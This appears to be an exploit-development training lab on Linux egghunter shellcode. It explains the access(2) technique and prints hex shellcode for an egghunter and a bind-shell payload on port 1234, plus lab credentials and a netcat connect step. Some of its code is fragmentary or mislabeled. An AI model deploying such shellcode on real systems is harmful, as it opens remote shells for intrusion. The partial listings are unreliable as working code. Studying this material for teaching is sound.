Lab13 Linux Shellcoding
Lab13 Linux Shellcoding
LAB 13
An egghunter shellcode scans/iterates through the virtual address space searching for a pre-
defined pattern. Once this pattern is located the subsequent instructions in memory are
executed (the execution flow is redirected there). These instructions are the exploit’s
payload. For an egghunter shellcode to be effective, there must be an alternative way to store
a payload in memory (since the original way provides us with limited buffer space). You will
see such cases in the Windows exploit development section (yes, egghunters are applicable
on Windows as well).
To dive deeper into the concept of egghunters please study the below resource:
http://www.hick.org/code/skape/papers/egghunt-shellcode.pdf
1. Understand all assembly steps of the access(2) egghunter variant (look into the
paper above) and how it can be built from scratch
2. Extract this variant’s shellcode
3. Create an egghunter shellcode-testing program in C, that will search for the pre-
defined pattern/tag in memory and once it locates it it will execute an MSF
bind_tcp shellcode
You will be given access to an Ubuntu (32-bit) machine (172.16.172.151) that features
everything you need. You can use it for compiling, debugging and testing purposes.
GOALS
RECOMMENDED TOOLS
• nasm
• gcc
• objdump
• netcat
Username: xdev
Password: xdev
As far as the access syscall is concerned, we can learn more about it by issuing a man 2
access command.
Create an egghunter-shellcode-testing program in c, that will search for the pre-defined egg
in memory and once it locates it it will execute an MSF-created bind_tcp shellcode.
\xbb\x90\x50\x90\x50\x31\xc9\xf7\xe1\x66\x81\xca\xff\x0f\x42\x60\x8d\x5a\x04\
xb0\x21\xcd\x80\x3c\xf2\x61\x74\xed\x39\x1a\x75\xee\x39\x5a\x04\x75\xe9\xff\x
e2
\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\xb0\x66\xcd\x80\x5b\x5e\x52\x68
\x02\x00\x04\xd2\x6a\x10\x51\x50\x89\xe1\x6a\x66\x58\xcd\x80\x89\x41\x04\xb
3\x04\xb0\x66\xcd\x80\x43\xb0\x66\xcd\x80\x93\x59\x6a\x3f\x58\xcd\x80\x49\x7
9\xf8\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b
\xcd\x80
Egghunter shellcodes search through memory pages looking for the pre-defined
egg/tag/pattern. At this point, it should be noted that if we instruct the egghunter shellcode
to look for the egg in page 0 and the utilized syscall returns an exit code that informs us of
insufficient memory page access rights, we can skip the current page and proceed to the next
one.
The access syscall is being used by the access(2) egghunter variant, as follows.
• According to its man page, access checks if the calling process (the egghunter) can
access the file pathname.
• access’s arguments are int access(const char *pathname, int mode);
where const char *pathname is a location in memory to check (ebx register) and int
mode will be F_OK which has a value of 0 (ecx register)
• Portions of the eax register are being used by syscalls to store their exit codes. The
exit code of not accessible memory (EFAULT) is 14. Upon the system call’s return, the
low byte of the eax register (which holds the return value from the system call) can
be compared against 0xf2 (which represents the low byte of EFAULT return value). If
the result is a match, the zero flag will be set. In that case, we can skip this page (not
accessible) and proceed to the next one. If access returns any other value, the
egghunter should keep searching/iterating through this page since it will be
accessible.
global _start
section .txt
_start:
global _start
section .txt
_start:
Let’s now clear the ecx, eax and edx registers. This can be done through the mul opcode. The
mul opcode will multiply its operand against the eax register and store the result in eax and
edx. In this occasion multiplication will occur by 0 and as a result 0 will be stored in both eax
and edx.
As already mentioned, we will skip pages of memory that the egghunter cannot access (al =
0xf2) and proceed to the next one. Some page alignment should take place. Specifically,
something like add dx, 4095 needs to be implemented, followed by a inc edx later on (4096
is 0x1000 in hex, introducing a NULL byte is not a good idea). In Assembly, this can be done
within a function, as follows.
page_alignment:
or dx, 0xfff ; this is the same as "add dx, 4095"
As discussed, edx should be incremented by one (so that we get a multiple of 4096).
Our current register values should also be pushed onto the stack for later use during syscalls.
The pushad opcode is perfect for that.
Next, we will need to check if the bytes where the access’s const char *pathname argument
points to are accessible and their contents as well (ebx should contain the address of edx+4).
Finally, the system call number for accept is 33 (0x21), this needs to be loaded into al (as
explained in Task 1).
address_inspection:
inc edx
pushad
lea ebx, [edx +4]
mov al, 0x21
int 0x80
jmp edx
The complete Assembly implementation of the access(2) egghunter variant, is the below.
global _start
section .text
_start:
address_inspection:
inc edx
pushad
lea ebx, [edx+4]
mov al, 0x21
int 0x80
jmp edx
cd Desktop/
nasm -f elf32 -o egghunter.o egghunter.nasm
#include <stdio.h>
int main(void)
{
printf("Egg hunter length: %d\n", strlen(hunter));
printf("Shellcode length: %d\n", strlen(bind));
return 0;
}
From within the SSH terminal, execute the compiled shellcode_tester binary.
From inside our host (not the SSH terminal) let’s see if we can connect to the (supposedly)
bound port 1234, using netcat, as follows.
nc 172.16.172.151 1234